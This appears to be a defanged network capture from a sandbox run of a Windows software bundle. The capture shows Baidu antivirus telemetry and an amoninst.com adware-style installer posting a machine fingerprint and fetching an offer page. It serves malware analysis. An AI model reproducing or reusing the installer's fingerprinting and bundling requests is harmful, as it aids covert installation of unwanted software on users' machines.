HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:09 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1430493064"

Last-Modified: Fri, 01 May 2015 15:11:04 GMT

Cache-Control: max-age=81772

Content-Length: 13748

Content-Type: image/png

X-HW: 1448348650.dop016.fr7.t,1448348649.cds068.fr7.c
.PNG........IHDR.......K.......~.....pHYs................MiCCPPhotosho
p ICC profile..x..SwX...>..e.VB....l.."#....Y....a...@....V....HU..
..H....(.gA..Z.U\8.....}z............y.....&...j.9R.<:...OH......H.
. ....g......yx~t.?...o...p..$......P&W. ...".....R...T.......S.d.....
ly|B"......I>..................(G$.@..`U.R,......@"......Y.2G.....v
.X..@`...B,.. 8..C.... L..0...._p..H.......K.3.....w....!..l.Ba.).f.."
...#.H..L.........8?......f.l.....k.o">!.........N..._....p...u.k.[
..V.h..]3...Z..z..y8.@...P.<......%b..0..>.3.o..~..@...z..q.@...
...qanv.R....B1n..#......)..4.\,...X..P"M.y.R.D!......2......w....O.N.
...l.~.....X.v.@~.-......g42y.......@ ...........\...L....D..*.A......
........a.D@.$.<.B........A.T.:.............18....\..p..`........A.
..a!:..b.."......"aH4... ...Q"..r...Bj.]H#.-r.9.\@.... 2....G1...Q...u
@.......s.t4.]...k....=.....K.ut.}..c..1.f..a\..E`.X.&..c.X5V.5c.X7v..
..a..$......^...l...GXLXC.%.#....W...1.'"..O.%z...xb:..XF.&.!.!.%^'.._
.H$....N.!%.2I.IkH.H-.S.>..i.L&..m....... ......O.......:...L..$R..
.J5e?....2B...Q.......:.ZIm.vP/S...4u.%...C..-....igi.h/.t.....E....k.
......w......Hb(.k.{...../.L......T0.2..g...oUX*.*|.....:.V.~...TUsU?.
y..T.U..^V}.FU.P.........U..6..RwR.P.Q_.._...c....F..H.Tc....!..2e.XB.
rV..,k.Mb[...Lv...v/{LSCs.f.f.f..q.......9..J.!...{-.-?-..j.f.~.7.z...
b.r......up.@.,..:m:.u..6.Q....u..>.c.y.........G.m..........704.6.
.l18c...c.k.i........h...h..I.'.&..g.5x.>f.o.b.4.e.k<abi2.......
)..k.f....t...,.......9..k.a........E..J.6.....|...M....V>VyV.V<<< skipped >>>

GET /skin5_0_gold.png HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: BaiduIS/1.0

Host: dl2.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:09 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1430492759"

Last-Modified: Fri, 01 May 2015 15:05:59 GMT

Cache-Control: max-age=81925

Content-Length: 14576

Content-Type: image/png

X-HW: 1448348650.dop016.fr7.t,1448348649.cds066.fr7.c
.PNG........IHDR.......K.......~.....pHYs................MiCCPPhotosho
p ICC profile..x..SwX...>..e.VB....l.."#....Y....a...@....V....HU..
..H....(.gA..Z.U\8.....}z............y.....&...j.9R.<:...OH......H.
. ....g......yx~t.?...o...p..$......P&W. ...".....R...T.......S.d.....
ly|B"......I>..................(G$.@..`U.R,......@"......Y.2G.....v
.X..@`...B,.. 8..C.... L..0...._p..H.......K.3.....w....!..l.Ba.).f.."
...#.H..L.........8?......f.l.....k.o">!.........N..._....p...u.k.[
..V.h..]3...Z..z..y8.@...P.<......%b..0..>.3.o..~..@...z..q.@...
...qanv.R....B1n..#......)..4.\,...X..P"M.y.R.D!......2......w....O.N.
...l.~.....X.v.@~.-......g42y.......@ ...........\...L....D..*.A......
........a.D@.$.<.B........A.T.:.............18....\..p..`........A.
..a!:..b.."......"aH4... ...Q"..r...Bj.]H#.-r.9.\@.... 2....G1...Q...u
@.......s.t4.]...k....=.....K.ut.}..c..1.f..a\..E`.X.&..c.X5V.5c.X7v..
..a..$......^...l...GXLXC.%.#....W...1.'"..O.%z...xb:..XF.&.!.!.%^'.._
.H$....N.!%.2I.IkH.H-.S.>..i.L&..m....... ......O.......:...L..$R..
.J5e?....2B...Q.......:.ZIm.vP/S...4u.%...C..-....igi.h/.t.....E....k.
......w......Hb(.k.{...../.L......T0.2..g...oUX*.*|.....:.V.~...TUsU?.
y..T.U..^V}.FU.P.........U..6..RwR.P.Q_.._...c....F..H.Tc....!..2e.XB.
rV..,k.Mb[...Lv...v/{LSCs.f.f.f..q.......9..J.!...{-.-?-..j.f.~.7.z...
b.r......up.@.,..:m:.u..6.Q....u..>.c.y.........G.m..........704.6.
.l18c...c.k.i........h...h..I.'.&..g.5x.>f.o.b.4.e.k<abi2.......
)..k.f....t...,.......9..k.a........E..J.6.....|...M....V>VyV.V<<< skipped >>>

GET /skin5_0_game.png HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: BaiduIS/1.0

Host: dl2.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:09 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1430492196"

Last-Modified: Fri, 01 May 2015 14:56:36 GMT

Cache-Control: max-age=2717

Content-Length: 32735

Content-Type: image/png

X-HW: 1448348650.dop016.fr7.t,1448348649.cds066.fr7.c
.PNG........IHDR.......K.......~.....pHYs...............9.iTXtXML:com.
adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?&
gt;.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5
-c014 79.151481, 2013/03/13-12:09:15        ">.   <rdf:RDF xmlns
:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">.      <rdf:D
escription rdf:about="".            xmlns:xmpMM="hXXp://ns.adobe.com/x
ap/1.0/mm/".            xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType
/ResourceRef#".            xmlns:stEvt="hXXp://ns.adobe.com/xap/1.0/sT
ype/ResourceEvent#".            xmlns:xmp="hXXp://ns.adobe.com/xap/1.0
/".            xmlns:dc="hXXp://purl.org/dc/elements/1.1/".           
 xmlns:photoshop="hXXp://ns.adobe.com/photoshop/1.0/".            xmln
s:tiff="hXXp://ns.adobe.com/tiff/1.0/".            xmlns:exif="hXXp://
ns.adobe.com/exif/1.0/">.         <xmpMM:OriginalDocumentID>x
mp.did:ea187672-0028-4ed5-ad20-76444949b012</xmpMM:OriginalDocument
ID>.         <xmpMM:DocumentID>xmp.did:73056ECC002A11E4B3B28D
B901844FEC</xmpMM:DocumentID>.         <xmpMM:InstanceID>x
mp.iid:8e933bae-6ae3-45fd-91f9-c5803b4861a8</xmpMM:InstanceID>. 
        <xmpMM:DerivedFrom rdf:parseType="Resource">.           
 <stRef:instanceID>xmp.iid:7dfa4207-ad2c-46a2-b3a3-938acef4e2dd&
lt;/stRef:instanceID>.            <stRef:documentID>xmp.did:e
a187672-0028-4ed5-ad20-76444949b012</stRef:documentID>.         
</xmpMM:DerivedFrom>.         <xmpMM:History>.        <<< skipped >>>

GET /skin5_0_flower.png HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: BaiduIS/1.0

Host: dl2.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:09 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1430492598"

Last-Modified: Fri, 01 May 2015 15:03:18 GMT

Cache-Control: max-age=82362

Content-Length: 41827

Content-Type: image/png

X-HW: 1448348650.dop016.fr7.t,1448348649.cds066.fr7.c
.PNG........IHDR.......K.......~.....pHYs...............9.iTXtXML:com.
adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?&
gt;.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5
-c014 79.151481, 2013/03/13-12:09:15        ">.   <rdf:RDF xmlns
:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">.      <rdf:D
escription rdf:about="".            xmlns:xmpMM="hXXp://ns.adobe.com/x
ap/1.0/mm/".            xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType
/ResourceRef#".            xmlns:stEvt="hXXp://ns.adobe.com/xap/1.0/sT
ype/ResourceEvent#".            xmlns:xmp="hXXp://ns.adobe.com/xap/1.0
/".            xmlns:dc="hXXp://purl.org/dc/elements/1.1/".           
 xmlns:photoshop="hXXp://ns.adobe.com/photoshop/1.0/".            xmln
s:tiff="hXXp://ns.adobe.com/tiff/1.0/".            xmlns:exif="hXXp://
ns.adobe.com/exif/1.0/">.         <xmpMM:OriginalDocumentID>x
mp.did:ea187672-0028-4ed5-ad20-76444949b012</xmpMM:OriginalDocument
ID>.         <xmpMM:DocumentID>xmp.did:66E6BD5F3BE611E4B5A09D
BE73F92E92</xmpMM:DocumentID>.         <xmpMM:InstanceID>x
mp.iid:6b7878ed-881c-4d56-acf6-d698d0194085</xmpMM:InstanceID>. 
        <xmpMM:DerivedFrom rdf:parseType="Resource">.           
 <stRef:instanceID>xmp.iid:9d8fdddb-78af-4eb3-a310-12f7b737e8a8&
lt;/stRef:instanceID>.            <stRef:documentID>xmp.did:e
a187672-0028-4ed5-ad20-76444949b012</stRef:documentID>.         
</xmpMM:DerivedFrom>.         <xmpMM:History>.        <<< skipped >>>

GET /skin5_0_oldstars.png HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: BaiduIS/1.0

Host: dl2.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:09 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1430492598"

Last-Modified: Fri, 01 May 2015 15:03:18 GMT

Cache-Control: max-age=78866

Content-Length: 14433

Content-Type: image/png

X-HW: 1448348650.dop016.fr7.t,1448348649.cds066.fr7.c
.PNG........IHDR.......K.......~.....pHYs................MiCCPPhotosho
p ICC profile..x..SwX...>..e.VB....l.."#....Y....a...@....V....HU..
..H....(.gA..Z.U\8.....}z............y.....&...j.9R.<:...OH......H.
. ....g......yx~t.?...o...p..$......P&W. ...".....R...T.......S.d.....
ly|B"......I>..................(G$.@..`U.R,......@"......Y.2G.....v
.X..@`...B,.. 8..C.... L..0...._p..H.......K.3.....w....!..l.Ba.).f.."
...#.H..L.........8?......f.l.....k.o">!.........N..._....p...u.k.[
..V.h..]3...Z..z..y8.@...P.<......%b..0..>.3.o..~..@...z..q.@...
...qanv.R....B1n..#......)..4.\,...X..P"M.y.R.D!......2......w....O.N.
...l.~.....X.v.@~.-......g42y.......@ ...........\...L....D..*.A......
........a.D@.$.<.B........A.T.:.............18....\..p..`........A.
..a!:..b.."......"aH4... ...Q"..r...Bj.]H#.-r.9.\@.... 2....G1...Q...u
@.......s.t4.]...k....=.....K.ut.}..c..1.f..a\..E`.X.&..c.X5V.5c.X7v..
..a..$......^...l...GXLXC.%.#....W...1.'"..O.%z...xb:..XF.&.!.!.%^'.._
.H$....N.!%.2I.IkH.H-.S.>..i.L&..m....... ......O.......:...L..$R..
.J5e?....2B...Q.......:.ZIm.vP/S...4u.%...C..-....igi.h/.t.....E....k.
......w......Hb(.k.{...../.L......T0.2..g...oUX*.*|.....:.V.~...TUsU?.
y..T.U..^V}.FU.P.........U..6..RwR.P.Q_.._...c....F..H.Tc....!..2e.XB.
rV..,k.Mb[...Lv...v/{LSCs.f.f.f..q.......9..J.!...{-.-?-..j.f.~.7.z...
b.r......up.@.,..:m:.u..6.Q....u..>.c.y.........G.m..........704.6.
.l18c...c.k.i........h...h..I.'.&..g.5x.>f.o.b.4.e.k<abi2.......
)..k.f....t...,.......9..k.a........E..J.6.....|...M....V>VyV.V<<< skipped >>>

POST /sample_check.cgi HTTP/1.0

Content-Length: 144

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0..U.o..Q<q.X.8.Q#......9..B..D_P'.z.....s...W...>6...k.i....%.....s.=\.
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 44

Connection: Close

......2....V..!.T.] Ua.Ty.e...R.*.....n.Y..l..

POST /sample_check.cgi HTTP/1.0

Content-Length: 144

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0..U.o..!3n&.8. "i....j8..C..M]#R......p....U...MB...i......#.)...v.5\.
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 44

Connection: Close
......2.... .f../z] ]..$~.....S. ....z..%n.l..

POST /up.cgi HTTP/1.1

HEAD-LENGTH: 71

User-Agent: Mozilla/5.0

Host: up.eg.bav.baidu.com

Content-Length: 174

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

......5.4.0.90620 .(S2 61807c4bafc26bb2ed98e3e60f587cd68.....@.....J.USx..\..

Z.S.....R..n.xvA..<...5.....WQ...nh.t..7N...HuplL.HQv.'*..H.A....k.C..4.*....{....|.....f.P:v*.
HTTP/1.1 200 OK

Content-Type: text/plain

Content-Length: 0

Connection: Keep-Alive

POST /sample_check.cgi HTTP/1.0

Content-Length: 144

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0..U....P7}n).N.'Uk.....K.~<..9-T&.~...y......U...H3...l.e....$. ...q.9\.
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 44

Connection: Close
......2...l ..*./u]V\..&..a...%.T..qo.o.]..l..

POST /sample_check.cgi HTTP/1.0

Content-Length: 144

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0..2.J.F ..d}.0.?P.tr

/{W.m...*.."?C[......[...6....gY...}E.;3>.&z.{....
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 44

Connection: Close
.........0..\...{.d.>...}.Ta........^}PT.k1...

POST /queryfeature.do HTTP/1.0

Content-Length: 133

Host: f.eg.bav.baidu.com

e=

..95A8...e...86|j...c{Z a....O...;..<.....8.N....q....X!\.
....\.0.|...1to.)r........i0.=."....T......#d../.eq2I.... ....}0..xX.
HTTP/1.0 200 OK

Content-Length: 30

Connection: Close
e=0.J.N..w..^..~....f*....~.SC..

POST /sample_check.cgi HTTP/1.0

Content-Length: 144

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0..U..
."Gn'):.'V.....l9.N..= %".....w.{..z.Y...=4..........).W.....I\.
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 44

Connection: Close
......2...n$.eZ./{Z"_..T~.....%.&..ui|k.,..l..

POST /maxmind.asmx/GetGeoInfo HTTP/1.1

Content-Type: application/json; charset=utf-8

Host: cloud-search.linkury.com

Content-Length: 0

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private, max-age=0

Content-Type: application/json; charset=utf-8

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Nov 2015 07:03:32 GMT

Content-Length: 47

{"d":"194.242.96.218,UA,Ukraine,,,,49,32,0,0,"}HTTP/1.1 200 OK..Cache-
Control: private, max-age=0..Content-Type: application/json; charset=u
tf-8..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powere
d-By: ASP.NET..Date: Tue, 24 Nov 2015 07:03:32 GMT..Content-Length: 47
..{"d":"194.242.96.218,UA,Ukraine,,,,49,32,0,0,"}..

POST /up.cgi HTTP/1.1

HEAD-LENGTH: 98

User-Agent: Mozilla/5.0

Host: up.eg.bav.baidu.com

Content-Length: 264

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

.....5.4.3.147185 .(G2 61807c4bafc26bb2ed98e3e60f587cd68.....@..........J.USZ.Imali|br|IBD|Bundlex....p..x.(.}....B._.t..r.B.y59...6N...._/...}.0...@#....i......t..@.Z.j..[....?..{.a....&..MF..

.........]iR./....v....OW....;e..

$.-...........9....Dmv..@......|4
HTTP/1.1 200 OK

Content-Type: text/plain

Content-Length: 0

Connection: Keep-Alive

POST /sample_check.cgi HTTP/1.0

Content-Length: 144

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0..2.2.N!..e}.5.> ..w..\|V.....\..P>B[.x.d../...3i..h.^..

7.5D=.,~......
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 44

Connection: Close

.........0..T...z.f.7.....P`e.......(.,&.j1...

POST /queryfeature.do HTTP/1.0

Content-Length: 134

Host: f.eg.bav.baidu.com

e=

$.{.SY^..1.%~.1.wE.JR%..._.4b..Z.A.9[.a o..%...)....O.dS.V.Z..J'.I... f....... .......c..?......h......Z.sL)..B.....s...In.*g....
HTTP/1.0 200 OK

Content-Length: 30

Connection: Close
e=1..4......A.=7}.%..........j..

POST /index.php HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.amoninst.com

Content-Length: 580

Connection: Keep-Alive

Cache-Control: no-cache

Net1.1=&Net2=3.5.21022.08&Net4=4.0.30319&OSversion=NT5.1SP3&Slv=&Sysid=D6A6947B24975DB6AB9DE8B171C5FA6E&Sysid1=D6A6947B24975DB6AB9DE8B171C5FA6E&X64=N&admin=Y&browser=IEXPLORE.EXE&cavp=&chver=&ci=9664&cmdl=amisetup9587__9664.exe /s  /ver 1.1.2.41  /u http://VVV.amoninst.com/index.php /ta /ci 9664 /i MyBestOffersTodayBR&dprod=19C2FB3DEC385401F6FCF22178334A&exe=amisetup9587__9664&ffver=&i=MyBestOffersTodayBR&lang_DfltUser=0409&mac=AA==&machg=NzVlZDk1NjctYWE1OC00YzhlLWE4ZWEtM2NhZDdjNDdhYjAzAA==&name=WFA5AA==&netfs=3&s=Y&ts=1448348617&ver=1.1.2.41
HTTP/1.1 200 OK

Access-Control-Allow-Origin: hXXp://VVV.somauto.com

Content-Type: text/html; charset=UTF-8

Date: Tue, 24 Nov 2015 07:03:35 GMT

Server: Apache/2.2.15 (Red Hat)

X-Powered-By: PHP/5.3.3

transfer-encoding: chunked

Connection: keep-alive
26bc....      ..      ..<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0
1 Transitional//EN">.<html>.    <head>.        <meta
 http-equiv="content-type" content="text/html; charset=UTF-8" /> . 
       <title>Installer</title>.        <base href="htt
p://VVV.amoninst.com:80/index.php" />.        <script type="text
/javascript" src="hXXp://cdn1.downloadjelly.com/V29/amipb.js"></
script>.        <script type="text/javascript">.            v
ar g_amiobj = '', g_ami, g_updb = false, g_close = '0', g_additional_o
ffer_list = '0';.            var g_finish_install_button = '0';.      
      var g_popup_install_all = '0';.            var g_eula = '';.    
        var g_post1 = '_hdn=1&_ver=1.1.2.41&_p=1&_s=0&_cc=UA&_cid=9664
&_psb=0&_cnt=da721c907b6c24eb05606fcf5cf1c485&_instid=&_brw=ie&_fc=0&_
appname=&_appimageurl=&_netfs=-31&_vert=3';.            var g_icon = '
';.            var g_comps = [], g_pages = [], c, g_curPage = -1;.    
        var g_cid = '9664';.            var g_tid = '';.            va
r g_cc = 'UA';.            var g_lang = 'en';.            var g_ip = '
194.242.96.218';.            var g_browser = 'ie';.            var g_c
nt = 'ed4f3b5fb93e5964da15bd607cd66a47';.            var g_ver = '1.1.
2.41';.            var g_buttonImage = 1;.            var g_thanks = '
thankyou.php';.            var g_images = [];.            var g_purl =
 'hXXp://VVV.amoninst.com:80/pix.php';.            var g_skipCats = 0;
.            var g_ieVer = '6.0';.            var g_chVer = '';.  <<< skipped >>>

POST /finalize.php HTTP/1.1

Accept: */*

Accept-Language: en-us

Referer: hXXp://VVV.amoninst.com/index.php

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.amoninst.com

Content-Length: 229

Connection: Keep-Alive

Cache-Control: no-cache

_hdn=1&_ver=1.1.2.41&_p=1&_s=0&_cc=UA&_cid=9664&_psb=0&_cnt=da721c907b6c24eb05606fcf5cf1c485&_instid=&_brw=ie&_fc=0&_appname=&_appimageurl=&_netfs=-31&_vert=3&r_updater=0&r_MyBestOffersTodayBR=0.01&updater=3&MyBestOffersTodayBR=2
HTTP/1.1 200 OK

Content-Type: text/xml

Date: Tue, 24 Nov 2015 07:03:36 GMT

Server: Apache/2.2.15 (Red Hat)

X-Powered-By: PHP/5.3.3

Content-Length: 1599

Connection: keep-alive
....<Array><page><f>1</f><fb>1</fb>
;<pt>0</pt><cats>0</cats><updh>1</upd
h><wrn></wrn><comps></comps><short_name&
gt;</short_name><must_show>0</must_show><bdy>P
GlucHV0IHR5cGU9ImhpZGRlbiIgdmFsdWU9IjEiIGlkPSJpX2FtaV91cGRhdGVyIi8 PGl
ucHV0IHR5cGU9ImhpZGRlbiIgdmFsdWU9InVwZGF0ZXIiIGlkPSJhbGxfc2hvcnRfbmFtZ
XMiLz4=</bdy><img>__empty__</img></page><pa
ge><f>1</f><fb>0</fb><pt>1</pt>
<cats>0</cats><updh>1</updh><wrn></wr
n><comps></comps><short_name></short_name>&
lt;must_show>0</must_show><bdy>DQo8ZGl2IHN0eWxlPSJ3aWR0
aDoxMDAlO21hcmdpbi1sZWZ0OjA7bWFyZ2luLXRvcDoxMCI PGI SW5zdGFsbGF0aW9uIH
N0YXR1czwvYj48YnIvPjxici8 DQpQbGVhc2Ugd2FpdCB3aGlsZSB0aGUgaW5zdGFsbGVy
IHdpemFyZCBkb3dubG9hZHMgYW5kIG9wdGltaXplcyB0aGUgbmVjZXNzYXJ5IHBhY2thZ2
VzLjxici8 DQpUeXBpY2FsbHksIHRoaXMgcHJvY2VzcyB0YWtlcyBubyBsb25nZXIgdGhh
biBvbmUgbWludXRlLg0KPC9kaXY DQo8ZGl2IHN0eWxlPSJ3aWR0aDoxMDAlO21hcmdpbi
1sZWZ0OjA7bWFyZ2luLXRvcDozMCI RG93bmxvYWQgcHJvZ3Jlc3M8L2Rpdj4NCjxkaXYg
c3R5bGU9IndpZHRoOjkwJTttYXJnaW4tbGVmdDoyMDttYXJnaW4tdG9wOjEwIiBpZD0iZG
93bmxvYWRfcHJvZ3Jlc3NfaG9zdCI PC9kaXY DQo8ZGl2IHN0eWxlPSJ3aWR0aDoxMDAl
O21hcmdpbi1sZWZ0OjA7bWFyZ2luLXRvcDo1MCI SW5zdGFsbGF0aW9uIHByb2dyZXNzPC
9kaXY DQo8ZGl2IHN0eWxlPSJ3aWR0aDo5MCU7bWFyZ2luLWxlZnQ6MjA7bWFyZ2luLXRv
cDoxMCIgaWQ9Imluc3RhbGxfcHJvZ3Jlc3NfaG9zdCI PC9kaXY DQo8ZGl2IHN0eW<<< skipped >>>

POST /md5_check.cgi HTTP/1.0

Content-Length: 133

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0.*..G.0...'.c....Y%.o%@1...
.1.v.....&.S..s......hc .:..0.!6.
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 46

Connection: Close
......9.$.P.=..j.Q.Q}.Z.Y5....}..to.ut.?.T..#...

GET / HTTP/1.1

Host: VVV.google.com


HTTP/1.1 302 Found

Cache-Control: private

Content-Type: text/html; charset=UTF-8

Location: hXXp://VVV.google.com.ua/?gfe_rd=cr&ei=yQtUVqnrOqWA6ATWyKLADg

Content-Length: 262

Date: Tue, 24 Nov 2015 07:03:37 GMT

Server: GFE/2.0
<HTML><HEAD><meta http-equiv="content-type" content="te
xt/html;charset=utf-8">.<TITLE>302 Moved</TITLE></HE
AD><BODY>.<H1>302 Moved</H1>.The document has mov
ed.<A HREF="hXXp://VVV.google.com.ua/?gfe_rd=cr&ei=yQtUVqnrOqWA
6ATWyKLADg">here</A>...</BODY></HTML>..HTTP/1.1 3
02 Found..Cache-Control: private..Content-Type: text/html; charset=UTF
-8..Location: hXXp://VVV.google.com.ua/?gfe_rd=cr&ei=yQtUVqnrOqWA6ATWy
KLADg..Content-Length: 262..Date: Tue, 24 Nov 2015 07:03:37 GMT..Serve
r: GFE/2.0..<HTML><HEAD><meta http-equiv="content-type"
 content="text/html;charset=utf-8">.<TITLE>302 Moved</TITL
E></HEAD><BODY>.<H1>302 Moved</H1>.The docu
ment has moved.<A HREF="hXXp://VVV.google.com.ua/?gfe_rd=cr&ei=
yQtUVqnrOqWA6ATWyKLADg">here</A>...</BODY></HTML>
....

POST /up.cgi HTTP/1.1

Host: up.bav.baidu.com

HEAD-LENGTH: 78

Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

User-Agent: Mozilla/5.0

Accept: */*

Content-Length: 96

.....5.4.3.147185 .(..2 61807c4bafc26bb2ed98e3e60f587cd6Z.Imali|br|IBD|Bundlex....`.b.q.....}..
HTTP/1.1 200 OK

Content-Type: text/plain

Content-Length: 0

Connection: Keep-Alive

POST /sample_check.cgi HTTP/1.0

Content-Length: 144

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0..2.C.OT..o..6.L&..t.z..R.....,..PI6[.|.`..Y..
7m.ai.*...~E.7E<. ..
....
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 44

Connection: Close

.........0..U...p.a.6i....[.........XxY&..1...

POST /md5_check.cgi HTTP/1.0

Content-Length: 129

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.04............C.l".,...L........{GZ..Cd..6....NFX>.'a..G..
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 46

Connection: Close
.............k...i..F;.3=@9Yvn..4kg.l....... ...

HEAD /cloud-hips-down.cgi/static/bhf.dat HTTP/1.0

Connection: Keep-Alive

Host: f.eg.bav.baidu.com


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Nov 2015 07:04:08 GMT

Content-Type: application/octet-stream

Content-Length: 2054

Last-Modified: Thu, 16 Apr 2015 09:58:03 GMT

Connection: Close

ETag: "552f87ab-806"

Content-Disposition: : /home/work/nginx/htdocs/cloud-hips-down.cgi/static/bhf.dat

Accept-Ranges: bytes

POST /queryfeature.do HTTP/1.0

Content-Length: 130

Host: f.eg.bav.baidu.com

e=

..=-%.?...,..[_.Ya.'$.b.pAUH^%T~._8^b....Y..Y.m0F.....:...Xf.>......IW`..jc..X..Q......Tr.9.h.p.....n...b.....B..m(k..o....7SP
HTTP/1.0 200 OK

Content-Length: 30

Connection: Close
e=1..4....d7=k'.......h..R...j..

GET / HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: VVV.baidu.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:03:30 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: Keep-Alive

Vary: Accept-Encoding

Set-Cookie: BAIDUID=E4D53B17D5E36DDFECF933922B9141AD:FG=1; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com

Set-Cookie: BIDUPSID=E4D53B17D5E36DDFECF933922B9141AD; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com

Set-Cookie: PSTM=1448348610; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com

Set-Cookie: BDSVRTM=0; path=/

Set-Cookie: BD_HOME=0; path=/

Set-Cookie: H_PS_PSSID=17519_1429_17956_17943_17782_17971_18042_18133_17001_17072_15568_12403_10632; path=/; domain=.baidu.com

P3P: CP=" OTI DSP COR IVA OUR IND COM "

Cache-Control: private

Cxy_all: baidu 351d9d5be788ca1e491c2f37a7789c83

Expires: Tue, 24 Nov 2015 07:02:55 GMT

X-Powered-By: HPHP

Server: BWS/1.1

X-UA-Compatible: IE=Edge,chrome=1

BDPAGETYPE: 1

BDQID: 0xd56cc3840002bdda

BDUSERID: 0
18022..<!DOCTYPE html><!--STATUS OK--><html><head
><meta http-equiv="content-type" content="text/html;charset=utf-
8"><meta http-equiv="X-UA-Compatible" content="IE=Edge"><m
eta content="always" name="referrer"><meta name="theme-color" co
ntent="#2932e1"><link rel="shortcut icon" href="/favicon.ico" ty
pe="image/x-icon" /><link rel="search" type="application/opensea
rchdescription xml" href="/content-search.xml" title="............" /&
gt;<link rel="icon" sizes="any" mask href="//VVV.baidu.com/img/baid
u.svg"><link rel="dns-prefetch" href="//s1.bdstatic.com"/><
;link rel="dns-prefetch" href="//t1.baidu.com"/><link rel="dns-p
refetch" href="//t2.baidu.com"/><link rel="dns-prefetch" href="/
/t3.baidu.com"/><link rel="dns-prefetch" href="//t10.baidu.com"/
